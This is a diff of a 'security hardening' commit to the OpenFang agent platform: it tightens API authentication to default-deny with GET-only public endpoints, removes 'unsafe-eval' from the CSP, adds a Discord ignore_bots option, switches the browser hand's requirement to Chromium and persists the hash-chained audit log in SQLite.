mirror of
https://github.com/RightNow-AI/openfang.git
synced 2026-08-14 08:52:02 +00:00
security hardening
This commit is contained in:
Generated
+2
@@ -4131,6 +4131,7 @@ dependencies = [
|
||||
"openfang-types",
|
||||
"regex-lite",
|
||||
"reqwest 0.12.28",
|
||||
"rusqlite",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"sha2",
|
||||
@@ -4194,6 +4195,7 @@ version = "0.3.29"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"chrono",
|
||||
"dashmap",
|
||||
"hex",
|
||||
"hmac",
|
||||
"openfang-types",
|
||||
|
||||
+1
-1
@@ -18,7 +18,7 @@ members = [
|
||||
]
|
||||
|
||||
[workspace.package]
|
||||
version = "0.3.29"
|
||||
version = "0.3.30"
|
||||
edition = "2021"
|
||||
license = "Apache-2.0 OR MIT"
|
||||
repository = "https://github.com/RightNow-AI/openfang"
|
||||
|
||||
@@ -1042,6 +1042,7 @@ pub async fn start_channel_bridge_with_config(
|
||||
token,
|
||||
dc_config.allowed_guilds.clone(),
|
||||
dc_config.allowed_users.clone(),
|
||||
dc_config.ignore_bots,
|
||||
dc_config.intents,
|
||||
));
|
||||
adapters.push((adapter, dc_config.default_agent.clone()));
|
||||
|
||||
@@ -45,17 +45,16 @@ pub async fn request_logging(request: Request<Body>, next: Next) -> Response<Bod
|
||||
|
||||
/// Bearer token authentication middleware.
|
||||
///
|
||||
/// When `api_key` is non-empty, all requests must include
|
||||
/// `Authorization: Bearer <api_key>`. If the key is empty, auth is bypassed.
|
||||
/// When `api_key` is non-empty, requests to non-public endpoints must include
|
||||
/// `Authorization: Bearer <api_key>`. If the key is empty, only whitelisted
|
||||
/// public endpoints are accessible — all others return 401.
|
||||
pub async fn auth(
|
||||
axum::extract::State(api_key): axum::extract::State<String>,
|
||||
request: Request<Body>,
|
||||
next: Next,
|
||||
) -> Response<Body> {
|
||||
// If no API key configured, skip authentication entirely (open access).
|
||||
if api_key.is_empty() {
|
||||
return next.run(request).await;
|
||||
}
|
||||
// SECURITY: Capture method early for method-aware public endpoint checks.
|
||||
let method = request.method().clone();
|
||||
|
||||
// Shutdown is loopback-only (CLI on same machine) — skip token auth
|
||||
let path = request.uri().path();
|
||||
@@ -64,55 +63,74 @@ pub async fn auth(
|
||||
.extensions()
|
||||
.get::<axum::extract::ConnectInfo<std::net::SocketAddr>>()
|
||||
.map(|ci| ci.0.ip().is_loopback())
|
||||
.unwrap_or(true); // default true for unix sockets / tests
|
||||
.unwrap_or(false); // SECURITY: default-deny — unknown origin is NOT loopback
|
||||
if is_loopback {
|
||||
return next.run(request).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Public endpoints that don't require auth (dashboard needs these)
|
||||
if path == "/"
|
||||
// Public endpoints that don't require auth (dashboard needs these).
|
||||
// SECURITY: /api/agents is GET-only (listing). POST (spawn) requires auth.
|
||||
// SECURITY: Public endpoints are GET-only unless explicitly noted.
|
||||
// POST/PUT/DELETE to any endpoint ALWAYS requires auth to prevent
|
||||
// unauthenticated writes (cron job creation, skill install, etc.).
|
||||
let is_get = method == axum::http::Method::GET;
|
||||
let is_public = path == "/"
|
||||
|| path == "/logo.png"
|
||||
|| path == "/favicon.ico"
|
||||
|| path == "/.well-known/agent.json"
|
||||
|| path.starts_with("/a2a/")
|
||||
|| (path == "/.well-known/agent.json" && is_get)
|
||||
|| (path.starts_with("/a2a/") && is_get)
|
||||
|| path == "/api/health"
|
||||
|| path == "/api/health/detail"
|
||||
|| path == "/api/status"
|
||||
|| path == "/api/version"
|
||||
|| path == "/api/agents"
|
||||
|| path == "/api/profiles"
|
||||
|| path == "/api/config"
|
||||
|| path.starts_with("/api/uploads/")
|
||||
|| (path == "/api/agents" && is_get)
|
||||
|| (path == "/api/profiles" && is_get)
|
||||
|| (path == "/api/config" && is_get)
|
||||
|| (path.starts_with("/api/uploads/") && is_get)
|
||||
// Dashboard read endpoints — allow unauthenticated so the SPA can
|
||||
// render before the user enters their API key.
|
||||
|| path == "/api/models"
|
||||
|| path == "/api/models/aliases"
|
||||
|| path == "/api/providers"
|
||||
|| path == "/api/budget"
|
||||
|| path == "/api/budget/agents"
|
||||
|| path.starts_with("/api/budget/agents/")
|
||||
|| path == "/api/network/status"
|
||||
|| path == "/api/a2a/agents"
|
||||
|| path == "/api/approvals"
|
||||
|| path.starts_with("/api/approvals/")
|
||||
|| path == "/api/channels"
|
||||
|| path == "/api/hands"
|
||||
|| path == "/api/hands/active"
|
||||
|| path.starts_with("/api/hands/")
|
||||
|| path == "/api/skills"
|
||||
|| path == "/api/sessions"
|
||||
|| path == "/api/integrations"
|
||||
|| path == "/api/integrations/available"
|
||||
|| path == "/api/integrations/health"
|
||||
|| path == "/api/workflows"
|
||||
|| path == "/api/logs/stream"
|
||||
|| path.starts_with("/api/cron/")
|
||||
|| path.starts_with("/api/providers/github-copilot/oauth/")
|
||||
{
|
||||
|| (path == "/api/models" && is_get)
|
||||
|| (path == "/api/models/aliases" && is_get)
|
||||
|| (path == "/api/providers" && is_get)
|
||||
|| (path == "/api/budget" && is_get)
|
||||
|| (path == "/api/budget/agents" && is_get)
|
||||
|| (path.starts_with("/api/budget/agents/") && is_get)
|
||||
|| (path == "/api/network/status" && is_get)
|
||||
|| (path == "/api/a2a/agents" && is_get)
|
||||
|| (path == "/api/approvals" && is_get)
|
||||
|| (path.starts_with("/api/approvals/") && is_get)
|
||||
|| (path == "/api/channels" && is_get)
|
||||
|| (path == "/api/hands" && is_get)
|
||||
|| (path == "/api/hands/active" && is_get)
|
||||
|| (path.starts_with("/api/hands/") && is_get)
|
||||
|| (path == "/api/skills" && is_get)
|
||||
|| (path == "/api/sessions" && is_get)
|
||||
|| (path == "/api/integrations" && is_get)
|
||||
|| (path == "/api/integrations/available" && is_get)
|
||||
|| (path == "/api/integrations/health" && is_get)
|
||||
|| (path == "/api/workflows" && is_get)
|
||||
|| path == "/api/logs/stream" // SSE stream, read-only
|
||||
|| (path.starts_with("/api/cron/") && is_get)
|
||||
|| path.starts_with("/api/providers/github-copilot/oauth/");
|
||||
|
||||
if is_public {
|
||||
return next.run(request).await;
|
||||
}
|
||||
|
||||
// SECURITY: If no API key configured, non-public endpoints still require auth.
|
||||
// Fall through to the token check which will fail (no valid token matches empty key),
|
||||
// returning 401 for any non-whitelisted route.
|
||||
if api_key.is_empty() {
|
||||
return Response::builder()
|
||||
.status(StatusCode::UNAUTHORIZED)
|
||||
.header("www-authenticate", "Bearer")
|
||||
.body(Body::from(
|
||||
serde_json::json!({"error": "No API key configured. Set api_key in config.toml or pass --api-key on startup."}).to_string(),
|
||||
))
|
||||
.unwrap_or_default();
|
||||
}
|
||||
|
||||
// Check Authorization: Bearer <token> header, then fallback to X-API-Key
|
||||
let bearer_token = request
|
||||
.headers()
|
||||
@@ -184,7 +202,7 @@ pub async fn security_headers(request: Request<Body>, next: Next) -> Response<Bo
|
||||
// All JS/CSS is bundled inline — only external resource is Google Fonts.
|
||||
headers.insert(
|
||||
"content-security-policy",
|
||||
"default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://fonts.gstatic.com; img-src 'self' data: blob:; connect-src 'self' ws://localhost:* ws://127.0.0.1:* wss://localhost:* wss://127.0.0.1:*; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; frame-src 'self' blob:; object-src 'none'; base-uri 'self'; form-action 'self'"
|
||||
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://fonts.gstatic.com; img-src 'self' data: blob:; connect-src 'self' ws://localhost:* ws://127.0.0.1:* wss://localhost:* wss://127.0.0.1:*; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; frame-src 'self' blob:; object-src 'none'; base-uri 'self'; form-action 'self'"
|
||||
.parse()
|
||||
.unwrap(),
|
||||
);
|
||||
|
||||
@@ -735,7 +735,7 @@
|
||||
<span class="text-xs" style="color:var(--danger)" x-text="formatRecordingTime()"></span>
|
||||
</div>
|
||||
<textarea id="msg-input" rows="1" :placeholder="recording ? 'Recording... release to send' : 'Message OpenFang... (/ for commands)'"
|
||||
@keydown.enter.prevent="if(!$event.shiftKey){if(showModelPicker && filteredModelPicker.length){pickModel(filteredModelPicker[modelPickerIdx].id)}else if(showSlashMenu && filteredSlashCommands.length){executeSlashCommand(filteredSlashCommands[slashIdx].cmd)}else{sendMessage()}}"
|
||||
@keydown.enter.prevent="if(!$event.isComposing && !$event.shiftKey){if(showModelPicker && filteredModelPicker.length){pickModel(filteredModelPicker[modelPickerIdx].id)}else if(showSlashMenu && filteredSlashCommands.length){executeSlashCommand(filteredSlashCommands[slashIdx].cmd)}else{sendMessage()}}"
|
||||
@keydown.escape="showSlashMenu = false; showModelPicker = false"
|
||||
@keydown.arrow-up.prevent="if(showModelPicker){modelPickerIdx = Math.max(0, modelPickerIdx - 1)}else if(showSlashMenu){slashIdx = Math.max(0, slashIdx - 1)}"
|
||||
@keydown.arrow-down.prevent="if(showModelPicker){modelPickerIdx = Math.min(filteredModelPicker.length - 1, modelPickerIdx + 1)}else if(showSlashMenu){slashIdx = Math.min(filteredSlashCommands.length - 1, slashIdx + 1)}"
|
||||
|
||||
@@ -40,6 +40,7 @@ pub struct DiscordAdapter {
|
||||
client: reqwest::Client,
|
||||
allowed_guilds: Vec<String>,
|
||||
allowed_users: Vec<String>,
|
||||
ignore_bots: bool,
|
||||
intents: u64,
|
||||
shutdown_tx: Arc<watch::Sender<bool>>,
|
||||
shutdown_rx: watch::Receiver<bool>,
|
||||
@@ -56,6 +57,7 @@ impl DiscordAdapter {
|
||||
token: String,
|
||||
allowed_guilds: Vec<String>,
|
||||
allowed_users: Vec<String>,
|
||||
ignore_bots: bool,
|
||||
intents: u64,
|
||||
) -> Self {
|
||||
let (shutdown_tx, shutdown_rx) = watch::channel(false);
|
||||
@@ -64,6 +66,7 @@ impl DiscordAdapter {
|
||||
client: reqwest::Client::new(),
|
||||
allowed_guilds,
|
||||
allowed_users,
|
||||
ignore_bots,
|
||||
intents,
|
||||
shutdown_tx: Arc::new(shutdown_tx),
|
||||
shutdown_rx,
|
||||
@@ -155,6 +158,7 @@ impl ChannelAdapter for DiscordAdapter {
|
||||
let intents = self.intents;
|
||||
let allowed_guilds = self.allowed_guilds.clone();
|
||||
let allowed_users = self.allowed_users.clone();
|
||||
let ignore_bots = self.ignore_bots;
|
||||
let bot_user_id = self.bot_user_id.clone();
|
||||
let session_id_store = self.session_id.clone();
|
||||
let resume_url_store = self.resume_gateway_url.clone();
|
||||
@@ -315,7 +319,7 @@ impl ChannelAdapter for DiscordAdapter {
|
||||
|
||||
"MESSAGE_CREATE" | "MESSAGE_UPDATE" => {
|
||||
if let Some(msg) =
|
||||
parse_discord_message(d, &bot_user_id, &allowed_guilds, &allowed_users)
|
||||
parse_discord_message(d, &bot_user_id, &allowed_guilds, &allowed_users, ignore_bots)
|
||||
.await
|
||||
{
|
||||
debug!(
|
||||
@@ -432,6 +436,7 @@ async fn parse_discord_message(
|
||||
bot_user_id: &Arc<RwLock<Option<String>>>,
|
||||
allowed_guilds: &[String],
|
||||
allowed_users: &[String],
|
||||
ignore_bots: bool,
|
||||
) -> Option<ChannelMessage> {
|
||||
let author = d.get("author")?;
|
||||
let author_id = author["id"].as_str()?;
|
||||
@@ -443,8 +448,8 @@ async fn parse_discord_message(
|
||||
}
|
||||
}
|
||||
|
||||
// Filter out other bots
|
||||
if author["bot"].as_bool() == Some(true) {
|
||||
// Filter out other bots (configurable via ignore_bots)
|
||||
if ignore_bots && author["bot"].as_bool() == Some(true) {
|
||||
return None;
|
||||
}
|
||||
|
||||
@@ -561,7 +566,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert_eq!(msg.channel, ChannelType::Discord);
|
||||
assert_eq!(msg.sender.display_name, "alice");
|
||||
assert_eq!(msg.sender.platform_id, "ch1");
|
||||
@@ -583,7 +588,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
}
|
||||
|
||||
@@ -603,7 +608,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
}
|
||||
|
||||
@@ -624,11 +629,11 @@ mod tests {
|
||||
});
|
||||
|
||||
// Not in allowed guilds
|
||||
let msg = parse_discord_message(&d, &bot_id, &["111".into(), "222".into()], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &["111".into(), "222".into()], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
|
||||
// In allowed guilds
|
||||
let msg = parse_discord_message(&d, &bot_id, &["999".into()], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &["999".into()], &[], true).await;
|
||||
assert!(msg.is_some());
|
||||
}
|
||||
|
||||
@@ -647,7 +652,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
match &msg.content {
|
||||
ChannelContent::Command { name, args } => {
|
||||
assert_eq!(name, "agent");
|
||||
@@ -672,7 +677,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
}
|
||||
|
||||
@@ -691,7 +696,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert_eq!(msg.sender.display_name, "alice#1234");
|
||||
}
|
||||
|
||||
@@ -713,7 +718,7 @@ mod tests {
|
||||
});
|
||||
|
||||
// MESSAGE_UPDATE uses the same parse function as MESSAGE_CREATE
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert_eq!(msg.channel, ChannelType::Discord);
|
||||
assert!(
|
||||
matches!(msg.content, ChannelContent::Text(ref t) if t == "Edited message content")
|
||||
@@ -736,15 +741,15 @@ mod tests {
|
||||
});
|
||||
|
||||
// Not in allowed users
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user111".into(), "user222".into()]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user111".into(), "user222".into()], true).await;
|
||||
assert!(msg.is_none());
|
||||
|
||||
// In allowed users
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user999".into()]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user999".into()], true).await;
|
||||
assert!(msg.is_some());
|
||||
|
||||
// Empty allowed_users = allow all
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_some());
|
||||
}
|
||||
|
||||
@@ -767,7 +772,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert!(msg.is_group);
|
||||
assert_eq!(msg.metadata.get("was_mentioned").and_then(|v| v.as_bool()), Some(true));
|
||||
|
||||
@@ -785,7 +790,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg2 = parse_discord_message(&d2, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg2 = parse_discord_message(&d2, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert!(msg2.is_group);
|
||||
assert!(!msg2.metadata.contains_key("was_mentioned"));
|
||||
}
|
||||
@@ -805,13 +810,13 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert!(!msg.is_group);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_discord_adapter_creation() {
|
||||
let adapter = DiscordAdapter::new("test-token".to_string(), vec!["123".to_string(), "456".to_string()], vec![], 37376);
|
||||
let adapter = DiscordAdapter::new("test-token".to_string(), vec!["123".to_string(), "456".to_string()], vec![], true, 37376);
|
||||
assert_eq!(adapter.name(), "discord");
|
||||
assert_eq!(adapter.channel_type(), ChannelType::Discord);
|
||||
}
|
||||
|
||||
@@ -14,39 +14,20 @@ tools = [
|
||||
]
|
||||
|
||||
[[requires]]
|
||||
key = "python3"
|
||||
label = "Python 3 must be installed"
|
||||
key = "chromium"
|
||||
label = "Chromium or Google Chrome must be installed"
|
||||
requirement_type = "binary"
|
||||
check_value = "python3"
|
||||
description = "Python 3 is required to run Playwright, the browser automation library that powers this hand."
|
||||
check_value = "chromium"
|
||||
description = "A Chromium-based browser is required. Google Chrome, Chromium, or any Chromium derivative will work. You can also set the CHROME_PATH environment variable to point to your browser binary."
|
||||
|
||||
[requires.install]
|
||||
macos = "brew install python3"
|
||||
windows = "winget install Python.Python.3.12"
|
||||
linux_apt = "sudo apt install python3"
|
||||
linux_dnf = "sudo dnf install python3"
|
||||
linux_pacman = "sudo pacman -S python"
|
||||
manual_url = "https://www.python.org/downloads/"
|
||||
estimated_time = "2-5 min"
|
||||
|
||||
[[requires]]
|
||||
key = "playwright"
|
||||
label = "Playwright must be installed"
|
||||
requirement_type = "binary"
|
||||
check_value = "playwright"
|
||||
description = "Playwright is a browser automation framework. After installing via pip, you also need to install browser binaries."
|
||||
|
||||
[requires.install]
|
||||
macos = "pip3 install playwright && playwright install chromium"
|
||||
windows = "pip install playwright && playwright install chromium"
|
||||
linux_apt = "pip3 install playwright && playwright install chromium"
|
||||
pip = "pip install playwright && playwright install chromium"
|
||||
manual_url = "https://playwright.dev/python/docs/intro"
|
||||
estimated_time = "3-5 min"
|
||||
steps = [
|
||||
"Install Playwright: pip install playwright",
|
||||
"Install browser binaries: playwright install chromium",
|
||||
]
|
||||
macos = "brew install --cask google-chrome"
|
||||
windows = "winget install Google.Chrome"
|
||||
linux_apt = "sudo apt install chromium-browser"
|
||||
linux_dnf = "sudo dnf install chromium"
|
||||
linux_pacman = "sudo pacman -S chromium"
|
||||
manual_url = "https://www.google.com/chrome/"
|
||||
estimated_time = "1-3 min"
|
||||
|
||||
# ─── Configurable settings ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -187,8 +187,8 @@ mod tests {
|
||||
assert_eq!(def.name, "Browser Hand");
|
||||
assert_eq!(def.category, crate::HandCategory::Productivity);
|
||||
assert!(def.skill_content.is_some());
|
||||
assert!(!def.requires.is_empty()); // requires python3, playwright
|
||||
assert_eq!(def.requires.len(), 2);
|
||||
assert!(!def.requires.is_empty()); // requires chromium
|
||||
assert_eq!(def.requires.len(), 1);
|
||||
assert!(def.tools.contains(&"browser_navigate".to_string()));
|
||||
assert!(def.tools.contains(&"browser_click".to_string()));
|
||||
assert!(def.tools.contains(&"browser_type".to_string()));
|
||||
|
||||
@@ -364,6 +364,14 @@ fn check_requirement(req: &HandRequirement) -> bool {
|
||||
if req.check_value == "python3" {
|
||||
return which_binary("python");
|
||||
}
|
||||
if req.check_value == "chromium" {
|
||||
// Try common Chromium/Chrome binary names across platforms
|
||||
return which_binary("chromium-browser")
|
||||
|| which_binary("google-chrome")
|
||||
|| which_binary("google-chrome-stable")
|
||||
|| which_binary("chrome")
|
||||
|| std::env::var("CHROME_PATH").map(|v| !v.is_empty()).unwrap_or(false);
|
||||
}
|
||||
false
|
||||
}
|
||||
RequirementType::EnvVar | RequirementType::ApiKey => {
|
||||
|
||||
@@ -934,7 +934,7 @@ impl OpenFangKernel {
|
||||
workflows: WorkflowEngine::new(),
|
||||
triggers: TriggerEngine::new(),
|
||||
background,
|
||||
audit_log: Arc::new(AuditLog::new()),
|
||||
audit_log: Arc::new(AuditLog::with_db(memory.usage_conn())),
|
||||
metering,
|
||||
default_driver: driver,
|
||||
wasm_sandbox,
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
use rusqlite::Connection;
|
||||
|
||||
/// Current schema version.
|
||||
const SCHEMA_VERSION: u32 = 7;
|
||||
const SCHEMA_VERSION: u32 = 8;
|
||||
|
||||
/// Run all migrations to bring the database up to date.
|
||||
pub fn run_migrations(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
@@ -39,6 +39,10 @@ pub fn run_migrations(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
migrate_v7(conn)?;
|
||||
}
|
||||
|
||||
if current_version < 8 {
|
||||
migrate_v8(conn)?;
|
||||
}
|
||||
|
||||
set_schema_version(conn, SCHEMA_VERSION)?;
|
||||
Ok(())
|
||||
}
|
||||
@@ -299,6 +303,31 @@ fn migrate_v7(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Version 8: Add audit_entries table for persistent Merkle audit trail.
|
||||
fn migrate_v8(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
conn.execute_batch(
|
||||
"
|
||||
CREATE TABLE IF NOT EXISTS audit_entries (
|
||||
seq INTEGER PRIMARY KEY,
|
||||
timestamp TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
detail TEXT NOT NULL,
|
||||
outcome TEXT NOT NULL,
|
||||
prev_hash TEXT NOT NULL,
|
||||
hash TEXT NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_agent ON audit_entries(agent_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_entries(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_entries(action);
|
||||
|
||||
INSERT OR IGNORE INTO migrations (version, applied_at, description)
|
||||
VALUES (8, datetime('now'), 'Add audit_entries table for persistent Merkle audit trail');
|
||||
",
|
||||
)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
@@ -64,11 +64,11 @@ struct OpenClawModels {
|
||||
#[serde(default, rename_all = "camelCase")]
|
||||
struct OpenClawRootTools {
|
||||
#[allow(dead_code)]
|
||||
profile: Option<String>,
|
||||
profile: Option<serde_json::Value>,
|
||||
#[allow(dead_code)]
|
||||
allow: Option<Vec<String>>,
|
||||
allow: Option<serde_json::Value>,
|
||||
#[allow(dead_code)]
|
||||
deny: Option<Vec<String>>,
|
||||
deny: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
@@ -117,10 +117,28 @@ struct OpenClawAgentEntry {
|
||||
#[derive(Debug, Default, Clone, Deserialize)]
|
||||
#[serde(default, rename_all = "camelCase")]
|
||||
struct OpenClawAgentTools {
|
||||
profile: Option<String>,
|
||||
allow: Option<Vec<String>>,
|
||||
deny: Option<Vec<String>>,
|
||||
also_allow: Option<Vec<String>>,
|
||||
profile: Option<serde_json::Value>,
|
||||
allow: Option<serde_json::Value>,
|
||||
deny: Option<serde_json::Value>,
|
||||
also_allow: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
/// Extract a profile name from a Value (string or {name: "..."} object).
|
||||
fn extract_profile(val: &serde_json::Value) -> Option<String> {
|
||||
val.as_str()
|
||||
.map(|s| s.to_string())
|
||||
.or_else(|| val.get("name").and_then(|v| v.as_str()).map(|s| s.to_string()))
|
||||
}
|
||||
|
||||
/// Extract a list of strings from a Value (array of strings, or single string).
|
||||
fn extract_string_list(val: &serde_json::Value) -> Vec<String> {
|
||||
match val {
|
||||
serde_json::Value::Array(arr) => {
|
||||
arr.iter().filter_map(|v| v.as_str()).map(|s| s.to_string()).collect()
|
||||
}
|
||||
serde_json::Value::String(s) => vec![s.clone()],
|
||||
_ => vec![],
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
@@ -811,13 +829,14 @@ fn scan_from_json5(base: &Path, config_path: &Path, result: &mut ScanResult) {
|
||||
.tools
|
||||
.as_ref()
|
||||
.and_then(|t| t.allow.as_ref())
|
||||
.map(|a| a.len())
|
||||
.map(|a| extract_string_list(a).len())
|
||||
.or_else(|| {
|
||||
entry
|
||||
.tools
|
||||
.as_ref()
|
||||
.and_then(|t| t.profile.as_ref())
|
||||
.map(|p| tools_for_profile(p).len())
|
||||
.and_then(extract_profile)
|
||||
.map(|p| tools_for_profile(&p).len())
|
||||
})
|
||||
.unwrap_or(3);
|
||||
|
||||
@@ -1770,9 +1789,10 @@ fn convert_agent_from_json(
|
||||
// Resolve tools
|
||||
let mut unmapped_tools = Vec::new();
|
||||
let tools: Vec<String> = if let Some(ref agent_tools) = entry.tools {
|
||||
if let Some(ref allow) = agent_tools.allow {
|
||||
if let Some(ref allow_val) = agent_tools.allow {
|
||||
let allow = extract_string_list(allow_val);
|
||||
let mut mapped = Vec::new();
|
||||
for t in allow {
|
||||
for t in &allow {
|
||||
if is_known_openfang_tool(t) {
|
||||
mapped.push(t.clone());
|
||||
} else if let Some(of_name) = map_tool_name(t) {
|
||||
@@ -1782,8 +1802,9 @@ fn convert_agent_from_json(
|
||||
}
|
||||
}
|
||||
// also_allow
|
||||
if let Some(ref also) = agent_tools.also_allow {
|
||||
for t in also {
|
||||
if let Some(ref also_val) = agent_tools.also_allow {
|
||||
let also = extract_string_list(also_val);
|
||||
for t in &also {
|
||||
if is_known_openfang_tool(t) {
|
||||
mapped.push(t.clone());
|
||||
} else if let Some(of_name) = map_tool_name(t) {
|
||||
@@ -1794,8 +1815,9 @@ fn convert_agent_from_json(
|
||||
}
|
||||
}
|
||||
mapped
|
||||
} else if let Some(ref profile) = agent_tools.profile {
|
||||
tools_for_profile(profile)
|
||||
} else if let Some(ref profile_val) = agent_tools.profile {
|
||||
let profile_name = extract_profile(profile_val).unwrap_or_default();
|
||||
tools_for_profile(&profile_name)
|
||||
} else {
|
||||
resolve_default_tools(defaults)
|
||||
}
|
||||
@@ -1894,8 +1916,10 @@ fn convert_agent_from_json(
|
||||
|
||||
// Tool profile hint
|
||||
if let Some(ref agent_tools) = entry.tools {
|
||||
if let Some(ref profile) = agent_tools.profile {
|
||||
toml_str.push_str(&format!("\nprofile = \"{profile}\"\n"));
|
||||
if let Some(ref profile_val) = agent_tools.profile {
|
||||
if let Some(profile) = extract_profile(profile_val) {
|
||||
toml_str.push_str(&format!("\nprofile = \"{profile}\"\n"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1905,12 +1929,15 @@ fn convert_agent_from_json(
|
||||
fn resolve_default_tools(defaults: Option<&OpenClawAgentDefaults>) -> Vec<String> {
|
||||
if let Some(defs) = defaults {
|
||||
if let Some(ref tools) = defs.tools {
|
||||
if let Some(ref profile) = tools.profile {
|
||||
return tools_for_profile(profile);
|
||||
if let Some(ref profile_val) = tools.profile {
|
||||
if let Some(profile) = extract_profile(profile_val) {
|
||||
return tools_for_profile(&profile);
|
||||
}
|
||||
}
|
||||
if let Some(ref allow) = tools.allow {
|
||||
if let Some(ref allow_val) = tools.allow {
|
||||
let allow = extract_string_list(allow_val);
|
||||
let mut mapped = Vec::new();
|
||||
for t in allow {
|
||||
for t in &allow {
|
||||
if is_known_openfang_tool(t) {
|
||||
mapped.push(t.clone());
|
||||
} else if let Some(of_name) = map_tool_name(t) {
|
||||
|
||||
@@ -29,6 +29,7 @@ hex = { workspace = true }
|
||||
zeroize = { workspace = true }
|
||||
dashmap = { workspace = true }
|
||||
regex-lite = { workspace = true }
|
||||
rusqlite = { workspace = true }
|
||||
tokio-tungstenite = "0.24"
|
||||
|
||||
[dev-dependencies]
|
||||
|
||||
@@ -3,11 +3,15 @@
|
||||
//! Every auditable event is appended to an append-only log where each entry
|
||||
//! contains the SHA-256 hash of its own contents concatenated with the hash of
|
||||
//! the previous entry, forming a tamper-evident chain (similar to a blockchain).
|
||||
//!
|
||||
//! When a database connection is provided (`with_db`), entries are persisted to
|
||||
//! the `audit_entries` table (schema V8) so the trail survives daemon restarts.
|
||||
|
||||
use chrono::Utc;
|
||||
use rusqlite::Connection;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use sha2::{Digest, Sha256};
|
||||
use std::sync::Mutex;
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
/// Categories of auditable actions within the agent runtime.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
@@ -77,26 +81,102 @@ fn compute_entry_hash(
|
||||
/// An append-only, tamper-evident audit log using a Merkle hash chain.
|
||||
///
|
||||
/// Thread-safe — all access is serialised through internal mutexes.
|
||||
